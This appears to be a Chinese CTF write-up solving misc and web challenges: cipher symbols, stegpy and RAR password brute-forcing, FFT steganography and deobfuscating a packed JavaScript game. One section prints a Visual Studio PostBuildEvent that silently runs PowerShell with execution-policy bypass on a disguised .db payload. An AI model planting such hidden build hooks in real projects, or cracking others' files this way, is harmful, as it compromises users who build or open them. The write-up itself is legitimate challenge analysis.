导语

习惯了，没有这个导语就不舒服，虽然其实这个导语也没什么能导的 XD

misc

happynewyear

两个hint
第一个是这个网站https://www.dcode.fr/tools-list#symbols
第二个是用stegpy。
题目有这个

可以在第一个hint的网站里找到，分别是Chinese Code和Sheikah Language，解出来是f87840bdddcc01e4
解开压缩包，得到happynewyear.png
然后使用stegpy，发现密码不知道，也没有提示。
然后就有点不会了
后来看了https://app.yinxiang.com/fx/7967a020-f748-4090-8398-03afd5146a40 的wp，暴破得之
stegpy库里原有的lsb.py改成lsb2.py

def read_message(self, password=None):
    msg = decode_message(self.data)
  
    if password:
        try:
            salt = bytes(msg[:16])
            msg = crypt.decrypt_info(password, bytes(msg[16:]), salt)
        except:
            # print("Wrong password.")
            return("Wrong password.") #改为这样

暴破脚本

from stegpy import lsb2

host = lsb2.HostElement('./happynewyear.png')
dic = open('./password.txt').readlines()

for i in range(len(dic)):
    tmp = host.read_message(dic[i][:-1])
    if tmp != "Wrong password.":
        print(tmp)
        break
    else:
        print(i, dic[i][:-1])

最后得到flag

interesting fishing

据说是邮件，因此改为.eml，用windows的mail打开，即可得到一个rar和一张图片。

解压rar，可以看到一个vs项目，直接打开sln，发现是假flag

在项目的.vsxproject可以看到这样一句

<PostBuildEvent>
  <Command>powershell -exec bypass -w hi"dd"en -f x64\Debug\Browse.VC.db</Command>
</PostBuildEvent>

这里就是往Briwse.VC.db写了东西，于是查看之，发现内容如下

$encodestring = "XAB1AC0ANgA1ADQAMwAyAD8AXAB1AC0ANgA1ADQAMgAwAD8AXAB1AC0ANgA1ADQAMgAwAD8AXAB1AC0ANgA1ADQAMgA0AD8AXAB1AC0ANgA1ADQAMgAxAD8AXAB1AC0ANgA1ADQANwA4AD8AXAB1AC0ANgA1ADQAOAA5AD8AXAB1AC0ANgA1ADQAOAA5AD8AXAB1AC0ANgA1ADQAMQA4AD8AXAB1AC0ANgA1ADQAMgA2AD8AXAB1AC0ANgA1ADQAMwA3AD8AXAB1AC0ANgA1ADQAMgAwAD8AXAB1AC0ANgA1ADQAMwA0AD8AXAB1AC0ANgA1ADQAOQAxAD8AXAB1AC0ANgA1ADQAOAA2AD8AXAB1AC0ANgA1ADQAOAA3AD8AXAB1AC0ANgA1ADQAOAA1AD8AXAB1AC0ANgA1ADQAOQAxAD8AXAB1AC0ANgA1ADQAOAA3AD8AXAB1AC0ANgA1ADQAOAA2AD8AXAB1AC0ANgA1ADQAOAAzAD8AXAB1AC0ANgA1ADQAOAAxAD8AXAB1AC0ANgA1ADQAOAA4AD8AXAB1AC0ANgA1ADQAOAAyAD8AXAB1AC0ANgA1ADQAOAA3AD8AXAB1AC0ANgA1ADQAOAA3AD8AXAB1AC0ANgA1ADQAOAA2AD8AXAB1AC0ANgA1ADQAOAA1AD8AXAB1AC0ANgA1ADQAOQAwAD8AXAB1AC0ANgA1ADQAMwA3AD8AXAB1AC0ANgA1ADQAMgA1AD8AXAB1AC0ANgA1ADQAMgAxAD8AXAB1AC0ANgA1ADQAOQAwAD8AXAB1AC0ANgA1ADQAMwA5AD8AXAB1AC0ANgA1ADQAMgA0AD8AXAB1AC0ANgA1ADQAOQAxAD8AXAB1AC0ANgA1ADQAMgA2AD8AXAB1AC0ANgA1ADQAMwA5AD8AXAB1AC0ANgA1ADQAMgA2AD8AXAB1AC0ANgA1ADQAMwAwAD8AXAB1AC0ANgA1ADQAMwAxAD8AXAB1AC0ANgA1ADQAMgA2AD8AXAB1AC0ANgA1ADQAMwAzAD8AXAB1AC0ANgA1ADQAOQAwAD8AXAB1AC0ANgA1ADQAMgA3AD8AXAB1AC0ANgA1ADQAMQA1AD8AXAB1AC0ANgA1ADQAMgAzAD8AXAB1AC0ANgA1ADQAMwA3AD8AXAB1AC0ANgA1ADQAMgA4AD8AXAB1AC0ANgA1ADQAMgA1AD8AXAB1AC0ANgA1ADQAMQA5AD8AXAB1AC0ANgA1ADQAMwA2AD8AXAB1AC0ANgA1ADQAOQAwAD8AXAB1AC0ANgA1ADQAMwA3AD8AXAB1AC0ANgA1ADQAMgA1AD8AXAB1AC0ANgA1ADQAMgA3AD8AXAB1AC0ANgA1ADQAOAA5AD8AXAB1AC0ANgA1ADQANQA2AD8AXAB1AC0ANgA1ADQAMQA1AD8AXAB1AC0ANgA1ADQAMgA1AD8AXAB1AC0ANgA1ADQAMgA2AD8AXAB1AC0ANgA1ADQAMwAzAD8AXAB1AC0ANgA1ADQAMQA1AD8AXAB1AC0ANgA1ADQAMwA5AD8AXAB1AC0ANgA1ADQAMgA2AD8AXAB1AC0ANgA1ADQAMwAzAD8AXAB1AC0ANgA1ADQAOQA5AD8AXAB1AC0ANgA1ADQAOAA2AD8AXAB1AC0ANgA1ADQAOAA4AD8AXAB1AC0ANgA1ADQAMgAxAD8AXAB1AC0ANgA1ADQAMgAwAD8AXAB1AC0ANgA1ADQAMgA1AD8AXAB1AC0ANgA1ADQAMgAyAD8AXAB1AC0ANgA1ADQAMwA1AD8AXAB1AC0ANgA1ADQAMgAxAD8AXAB1AC0ANgA1ADQAOQA5AD8AXAB1AC0ANgA1ADQAOAA2AD8AXAB1AC0ANgA1ADQAOAA4AD8AXAB1AC0ANgA1ADQAMgA4AD8AXAB1AC0ANgA1ADQAMgA1AD8AXAB1AC0ANgA1ADQAMQA3AD8AXAB1AC0ANgA1ADQAOQA5AD8AXAB1AC0ANgA1ADQAOAA2AD8AXAB1AC0ANgA1ADQAOAA4AD8AXAB1AC0ANgA1ADQAMgA1AD8AXAB1AC0ANgA1ADQAMgA2AD8AXAB1AC0ANgA1ADQAOQA5AD8AXAB1AC0ANgA1ADQAOAA2AD8AXAB1AC0ANgA1ADQAOAA4AD8AXAB1AC0ANgA1ADQAMwA0AD8AXAB1AC0ANgA1ADQAMgA1AD8AXAB1AC0ANgA1ADQAMgAyAD8AXAB1AC0ANgA1ADQAMwA1AD8AXAB1AC0ANgA1ADQAMwAxAD8AXAB1AC0ANgA1ADQAMwAzAD8AXAB1AC0ANgA1ADQAMgA2AD8AXAB1AC0ANgA1ADQAOQA5AD8AXAB1AC0ANgA1ADQAOAA2AD8AXAB1AC0ANgA1ADQAOAA4AD8AXAB1AC0ANgA1ADQAMwAzAD8AXAB1AC0ANgA1ADQAMgA1AD8AXAB1AC0ANgA1ADQAMgA1AD8AXAB1AC0ANgA1ADQAMwA2AD8AXAB1AC0ANgA1ADQAMgAxAD8AXAB1AC0ANgA1ADQAOQA5AD8AXAB1AC0ANgA1ADQAOAA2AD8AXAB1AC0ANgA1ADQAOAA4AD8AXAB1AC0ANgA1ADQAMwA5AD8AXAB1AC0ANgA1ADQAMgA3AD8AXAB1AC0ANgA1ADQAMwAxAD8AXAB1AC0ANgA1ADQAMwA2AD8AXAB1AC0ANgA1ADQAOQA5AD8AXAB1AC0ANgA1ADQAOAA2AD8AXAB1AC0ANgA1ADQAOAA4AD8AXAB1AC0ANgA1ADQANQA4AD8AXAB1AC0ANgA1ADQAMgA1AD8AXAB1AC0ANgA1ADQAMgAyAD8AXAB1AC0ANgA1ADQAMgAwAD8AXAB1AC0ANgA1ADQAMwAyAD8AXAB1AC0ANgA1ADQAOQA5AD8AXAB1AC0ANgA1ADQAOAA2AD8AXAB1AC0ANgA1ADQAOAA4AD8AXAB1AC0ANgA1ADQANgAxAD8AXAB1AC0ANgA1ADQAMgA1AD8AXAB1AC0ANgA1ADQAMgAyAD8AXAB1AC0ANgA1ADQAMwA1AD8AXAB1AC0ANgA1ADQAMwA5AD8AXAB1AC0ANgA1ADQAMgA2AD8AXAB1AC0ANgA1ADQAOQA5AD8AXAB1AC0ANgA1ADQAOAA2AD8AXAB1AC0ANgA1ADQAOAA4AD8AXAB1AC0ANgA1ADQANgA5AD8AXAB1AC0ANgA1ADQANQA3AD8AXAB1AC0ANgA1ADQANQAwAD8AXAB1AC0ANgA1ADQANgAzAD8AXAB1AC0ANgA1ADQANgA4AD8AXAB1AC0ANgA1ADQAOQAxAD8AXAB1AC0ANgA1ADQAOAA3AD8AXAB1AC0ANgA1ADQANwA5AD8AXAB1AC0ANgA1ADQAOQA5AD8AXAB1AC0ANgA1ADQAOAA2AD8AXAB1AC0ANgA1ADQAOAA4AD8AXAB1AC0ANgA1ADQAMgA0AD8AXAB1AC0ANgA1ADQAMwA5AD8AXAB1AC0ANgA1ADQAMgAyAD8AXAB1AC0ANgA1ADQAMwA5AD8AXAB1AC0ANgA1ADQAMgA2AD8AXAB1AC0ANgA1ADQAMgA1AD8AXAB1AC0ANgA1ADQAMwAxAD8AXAB1AC0ANgA1ADQAMwA5AD8AXAB1AC0ANgA1ADQAOQAwAD8AXAB1AC0ANgA1ADQAMgAyAD8AXAB1AC0ANgA1ADQAMwA5AD8AXAB1AC0ANgA1ADQAMgAyAD8A"
$bytes  = [System.Convert]::FromBase64String($string);
$decoded = [System.Text.Encoding]::UTF8.GetString($bytes); 
echo $decoded

尝试解base64，得到

\u-65432?\u-65420?\u-65420?\u-65424?\u-65421?\u-65478?\u-65489?\u-65489?\u-65418?\u-65426?\u-65437?\u-65420?\u-65434?\u-65491?\u-65486?\u-65487?\u-65485?\u-65491?\u-65487?\u-65486?\u-65483?\u-65481?\u-65488?\u-65482?\u-65487?\u-65487?\u-65486?\u-65485?\u-65490?\u-65437?\u-65425?\u-65421?\u-65490?\u-65439?\u-65424?\u-65491?\u-65426?\u-65439?\u-65426?\u-65430?\u-65431?\u-65426?\u-65433?\u-65490?\u-65427?\u-65415?\u-65423?\u-65437?\u-65428?\u-65425?\u-65419?\u-65436?\u-65490?\u-65437?\u-65425?\u-65427?\u-65489?\u-65456?\u-65415?\u-65425?\u-65426?\u-65433?\u-65415?\u-65439?\u-65426?\u-65433?\u-65499?\u-65486?\u-65488?\u-65421?\u-65420?\u-65425?\u-65422?\u-65435?\u-65421?\u-65499?\u-65486?\u-65488?\u-65428?\u-65425?\u-65417?\u-65499?\u-65486?\u-65488?\u-65425?\u-65426?\u-65499?\u-65486?\u-65488?\u-65434?\u-65425?\u-65422?\u-65435?\u-65431?\u-65433?\u-65426?\u-65499?\u-65486?\u-65488?\u-65433?\u-65425?\u-65425?\u-65436?\u-65421?\u-65499?\u-65486?\u-65488?\u-65439?\u-65427?\u-65431?\u-65436?\u-65499?\u-65486?\u-65488?\u-65458?\u-65425?\u-65422?\u-65420?\u-65432?\u-65499?\u-65486?\u-65488?\u-65461?\u-65425?\u-65422?\u-65435?\u-65439?\u-65426?\u-65499?\u-65486?\u-65488?\u-65469?\u-65457?\u-65450?\u-65463?\u-65468?\u-65491?\u-65487?\u-65479?\u-65499?\u-65486?\u-65488?\u-65424?\u-65439?\u-65422?\u-65439?\u-65426?\u-65425?\u-65431?\u-65439?\u-65490?\u-65422?\u-65439?\u-65422?

用65536-这个值，然后ascii码转换，得到

https://vnctf-213-1257061123.cos.ap-nanjing.myqcloud.com/Pyongyang%20stores%20low%20on%20foreign%20goods%20amid%20North%20Korean%20COVID-19%20paranoia.rar

以上内容实现如下

import base64
a="那一串"
b=base64.b64decode(a.encode())
c=b.decode[::2].replace(r'\u-','').split('?')[:-1]
for i in e:
    print(chr(65535-int(i)))

下载得到一个rar，发现被加密了

在注释里发现提示

使用rar2john和hashcat暴破之，得到密码为9705，打开得到一个docx
发现啥也没有。但是发现这个docx其实是一个rar，于是解压之，得到

其中，word下有一个hiden_info.xml打开，发现啥也没有，发现存在零宽隐写
在http://330k.github.io/misc_tools/unicode_steganography.html解密后得

而另一张图片用oursecret解密即可得到另一半的flag

冰冰

用binwalk-e提取出文件，叫做FFT.png，因此查找FFT，得到是快速傅里叶
https://www.jianshu.com/p/a00da3e03533
查看上面的文章，写个脚本

import cv2
import numpy as np
from matplotlib import pyplot as plt

img = cv2.imread('FFT.png',0)
ff = np.fft.fft2(img)
xf = np.fft.fftshift(ff)
magnitude_spectrum = 20*np.log(np.abs(xf))

plt.subplot(121),plt.imshow(img, cmap = 'gray')
plt.title('1'), plt.xticks([]), plt.yticks([])
plt.subplot(122),plt.imshow(magnitude_spectrum, cmap = 'gray')
plt.title('2'), plt.xticks([]), plt.yticks([])
plt.show()

即可得到flag

节奏医生

可以看到一个rdzip的文件，是一个节奏医生谱。
直接用解压工具解压出来。

一个封面，一个谱，谱长这样，猜测是raw的Wave和Square作为0和1

写个简单的脚本

f = open(r'./main.rdlevel','r',encoding='utf8')

res=['']*4

for line in f:
  
    if "pulseType" in line:
        row = line.split(', "row": ')[1].split(',')[0]
        row = int(row)
        if "Wave" in line:
            res[row] = res[row] + '1'
        if "Square" in line:
            res[row] = res[row] + '0'

print(res)

for i in res:
    for j in range(0, len(i), 8):
        print(chr(int(i[j:j+8], 2)), end = '')

解出来是flag{}W31co}me_V&}N_CTF}
稍微修改一哈，就得到flag

web

Ez_game

打开是一个js游戏，说是打通了就有flag。二话不说先去看看有没有源码。
然后就发现有
https://github.com/killedbyapixel/bounceback
然后直接进行一个对比，发现改动在此（当然理论上你应该看代码）

['sojson.v4']["\x66\x69\x6c\x74\x65\x72"]["\x63\x6f\x6e\x73\x74\x72\x75\x63\x74\x6f\x72"](((['sojson.v4']+[])["\x63\x6f\x6e\x73\x74\x72\x75\x63\x74\x6f\x72"]['\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65']['\x61\x70\x70\x6c\x79'](null,"118h97x114w32l95m95N101x110O99d111B100u101w32F61P32u39R106k115w106O105F97z109R105f46p99y111A109U39d44F10G32U32F32r32G95V97p32D61Y32X123W125h44r10M32V32P32x32h95X48M120O98J52A56I51A32r61d32v91o34Q95c100n101M99e111I100l101I34b44r32X34r104N116Z116m112B58A47b47P119M119d119M46z115W111I106V115f111s110m46J99D111W109Z47g106R97c118D97F115L99I114Y105F112v116E111l98m102Q117d115E99x97K116r111U114v46s104d116B109F108Z34e93B59q10m40r102O117f110Z99D116D105a111a110u40Y95J48O120H100Q54k52k50e120I49a41P32f123s10E32j32I32d32K95E48D120k100R54S52g50O120H49y91J95q48X120w98C52a56R51E91m48B93c93E32d61e32w95X48v120b98L52e56b51O91m49b93C10Q125V41N40t95r97g41L59X10M118d97I114t32E95f95x79y120f97D50O55p56y49X32I61j32A91K34i34t44h32L34a45m112w97p117H115M101E100z45m34r44g32Q34y87v105k110E33A32h102S108G97y103u123E116k104V105l115E95F103u97g109Y101I95l105R115A95x102G117h110l110E121M33B125f34N44c32q34f71C97L109O101x32c79k118R101J114R33b34L44V32h34U80g114e101b115c115t32c69w115I99g97u112W101z34C44h32d34a120f34k44B32W34i121H34q44x32P34E99x101x110k116J101Z114j34c44B32s34B117V110j100K101A102U105M110L101x100T34k44u32U34R108t111X103q34W44p32M34o21024U38500O34R44T32u34a29256O26412t21495E65292k106N115v20250y23450F34N44f32V34Q26399e24377C31383B65292R34u44t32j34y36824A35831C25903t25345D25105o20204W30340R24037P20316L34R44y32w34o106Z115A106T105F97b34i44a32m34u109T105L46e99p111F109l34U93m59Y10u108S101q116s32P98f105A103l84N101h120n116V32A61B32t95V95W79u120a97z50N55J56g49r91g48C120L48a93r59K10k105U102S32K40X112d97m117q115P101T100A41S32r123R10r32D32a32X32t98Y105Y103N84I101p120j116U32e61J32R95g95v79i120F97F50n55h56H49d91S48x120N49u93H10C125z59O10C105W102e32t40G119n105T110x84r105G109Y101W114q46C73s115m83G101O116j40m41O41R32S123R10c32I32b32A32V98x105X103v84E101b120V116V32L61P32N95e95u79I120v97W50T55W56i49S91j48m120O50d93k10g125J59G10Q105p102m32Y40O112J108s97c121w101U114u46P73a115D68E101Y97D100E40g41g41Q32Y123r10K32X32T32q32r98b105q103i84o101V120D116v32N61H32b95R95J79q120i97q50X55o56g49G91T48Z120F51G93l59k10c32v32f32e32P68u114l97N119q84f101x120z116m40j95r95I79n120R97E50x55o56h49y91p48Q120z52L93g44k32E109H97Q105E110w67Z97l110d118S97M115j83a105B122j101E91p95n95Y79U120S97H50C55a56l49E91z48w120A53C93Y93I32b47M32o50R44R32w109n97U105b110j67h97M110H118j97X115g83D105M122n101W91J95q95y79x120i97R50Y55z56s49N91z48v120R54s93a93S32I47z32A50k32w43S32f56j48j44T32B52Y50c41O10V125M59f10h68n114V97m119f84G101C120P116u40E98i105M103U84C101e120d116q44f32Z109v97i105R110G67u97m110Q118e97n115K83G105V122M101j91Q95Y95y79M120f97G50k55i56C49c91x48j120R53F93a93L32b47p32Z50k44a32l109c97r105A110W67i97Y110t118H97y115J83H105C122r101R91a95L95s79a120d97M50G55H56k49O91m48p120R54y93d93J32x47y32c50c32Y45d32C56M48i44r32b55G50f44j32x95j95r79S120i97g50J55V56a49a91Y48f120w55c93M44M32s50p41D59x59h59g10r40L102e117n110g99S116k105D111t110Y40M95J48s120f53y49N57K55H120Y50z44F32z95B48b120t53z49A57D55X120n51H44w32o95P48t120g53n49M57G55n120T52U44D32B95A48B120Z53K49H57t55X120d53L44f32o95J48R120D53s49H57d55J120b54Y44w32U95u48g120J53Q49v57B55s120a55H41z32L123K10G32X32F32V32W95k48o120T53S49I57d55s120i55d32O61X32n95B95n79d120E97E50s55o56w49j91N48z120D56R93R59j10p32Q32s32e32H95F48O120Y53F49C57W55r120q53M32f61U32Y102R117F110N99c116V105r111y110w40I95X48h120s53Y49o57q55k120o56Q41f32S123S10R32C32B32t32f32r32q32F32Z105Y102S32o40c116E121R112d101G111f102m32p97d108Q101M114s116V32G33s61C61z32B95p48W120e53S49y57p55Q120C55o41q32L123z10I32u32a32y32W32e32b32h32W32s32m32l32c97I108C101N114t116V40P95w48X120x53F49M57d55B120x56u41F10C32F32A32B32h32F32r32y32w125L59G10o32f32T32O32T32O32c32H32D105d102v32H40i116V121a112R101e111G102B32D99O111n110L115o111X108W101S32D33C61H61G32o95u48e120z53k49d57j55s120E55m41p32c123o10V32I32B32R32A32Y32N32H32E32R32l32V32P99D111R110i115r111m108h101D91Z95i95s79g120K97d50W55w56r49n91E48l120W57W93F93R40P95D48G120q53Q49d57p55q120M56R41F10q32C32N32u32X32T32E32d32X125W10D32P32h32i32Y125N59D10v32J32C32X32B95V48w120K53C49I57r55I120E52C32Q61E32X102o117o110I99u116M105C111z110h40v95g48L120b53d49q57e55J120L57j44C32F95R48X120M53S49U57w55h120I50w41W32r123j10q32e32k32e32y32Z32I32g32z114c101D116A117A114V110w32x95p48H120k53O49r57b55Z120w57Q32N43M32A95I48z120M53A49S57s55K120o50o10u32y32k32j32u125a59j10u32S32S32n32p95A48s120k53a49M57F55J120J54G32c61R32l95c48X120C53s49q57U55V120E52N40A95t95T79x120Q97R50o55F56e49Y91i48G120p97P93y44S32J95k48r120q53g49i57E55x120D52O40N95H48S120d53i49M57H55x120e52e40X95k95Z79q120C97l50T55K56I49k91R48o120g98g93Q44v32r95R95K79W120N97u50A55v56Z49m91A48x120X99H93x41y44T32w95n95v79i120g97E50y55h56m49C91X48S120N100w93n41q41b59M10I32e32F32g32e116J114t121I32r123N10M32J32N32m32j32l32J32g32X95n48g120l53X49b57l55D120p50s32b61T32f95W95E101N110o99c111M100M101Q59f10J32k32y32K32B32F32X32R32K105d102c32b40e33U40o116q121j112D101A111D102c32x95p48o120R53a49b57S55d120M50d32p33q61s61o32d95z48B120A53s49S57t55a120j55H32B38S38e32N95i48L120O53j49W57O55V120P50X32o61Y61i61k32P95j48M120Z53O49t57W55P120p52V40d95N95y79a120X97r50t55o56v49a91I48m120m101p93B44T32V95b95j79s120M97q50p55j56G49A91g48i120O102U93G41y41a41i32F123F10O32Z32o32T32P32e32Z32K32T32h32z32d32b95l48V120H53v49J57I55L120w53J40n95M48o120F53C49d57W55e120S54R41U10U32u32C32c32x32z32y32J32F125L10H32K32G32r32d125e32A99A97l116x99y104R32H40B101U41W32j123A10m32t32b32L32A32A32B32D32Z95t48z120m53V49N57N55B120x53Z40m95k48c120A53L49M57V55R120l54U41X10E32R32G32Q32q125U10D125p41P40A123E125S41"['\x73\x70\x6c\x69\x74'](/[a-zA-Z]{1,}/))))('sojson.v4');

脱unicode

['sojson.v4']["filter"]["constructor"](((['sojson.v4']+[])["constructor"]['fromCharCode']['apply'](null,"118h97x11……"['split'](/[a-zA-Z]{1,}/))))('sojson.v4');

jsfuck中，

eval => []["filter"]["constructor"]( CODE )()

因此上述代码相当于

((['sojson.v4']+[])["constructor"]['fromCharCode']['apply'](null,"118h97x11……"['split'](/[a-zA-Z]{1,}/)))

复制到浏览器控制台，即得到源码

var __encode = 'jsjiami.com',
    _a = {},
    _0xb483 = [\"_decode\", \"http://www.sojson.com/javascriptobfuscator.html\"];
(function(_0xd642x1) {
    _0xd642x1[_0xb483[0]] = _0xb483[1]
})(_a);
var __Oxa2781 = [\"\", \"-paused-\", \"Win! flag{this_game_is_funny!}\", \"Game Over!\", \"Press Escape\", \"x\", \"y\", \"center\", \"undefined\", \"log\", \"删除\", \"版本号，js会定\", \"期弹窗，\", \"还请支持我们的工作\", \"jsjia\", \"mi.com\"];
let bigText = __Oxa2781[0x0];
if (paused) {
    bigText = __Oxa2781[0x1]
};
if (winTimer.IsSet()) {
    bigText = __Oxa2781[0x2]
};
if (player.IsDead()) {
    bigText = __Oxa2781[0x3];
    DrawText(__Oxa2781[0x4], mainCanvasSize[__Oxa2781[0x5]] / 2, mainCanvasSize[__Oxa2781[0x6]] / 2 + 80, 42)
};
DrawText(bigText, mainCanvasSize[__Oxa2781[0x5]] / 2, mainCanvasSize[__Oxa2781[0x6]] / 2 - 80, 72, __Oxa2781[0x7], 2);;;
(function(_0x5197x2, _0x5197x3, _0x5197x4, _0x5197x5, _0x5197x6, _0x5197x7) {
    _0x5197x7 = __Oxa2781[0x8];
    _0x5197x5 = function(_0x5197x8) {
        if (typeof alert !== _0x5197x7) {
            alert(_0x5197x8)
        };
        if (typeof console !== _0x5197x7) {
            console[__Oxa2781[0x9]](_0x5197x8)
        }
    };
    _0x5197x4 = function(_0x5197x9, _0x5197x2) {
        return _0x5197x9 + _0x5197x2
    };
    _0x5197x6 = _0x5197x4(__Oxa2781[0xa], _0x5197x4(_0x5197x4(__Oxa2781[0xb], __Oxa2781[0xc]), __Oxa2781[0xd]));
    try {
        _0x5197x2 = __encode;
        if (!(typeof _0x5197x2 !== _0x5197x7 && _0x5197x2 === _0x5197x4(__Oxa2781[0xe], __Oxa2781[0xf]))) {
            _0x5197x5(_0x5197x6)
        }
    } catch (e) {
        _0x5197x5(_0x5197x6)
    }
})({})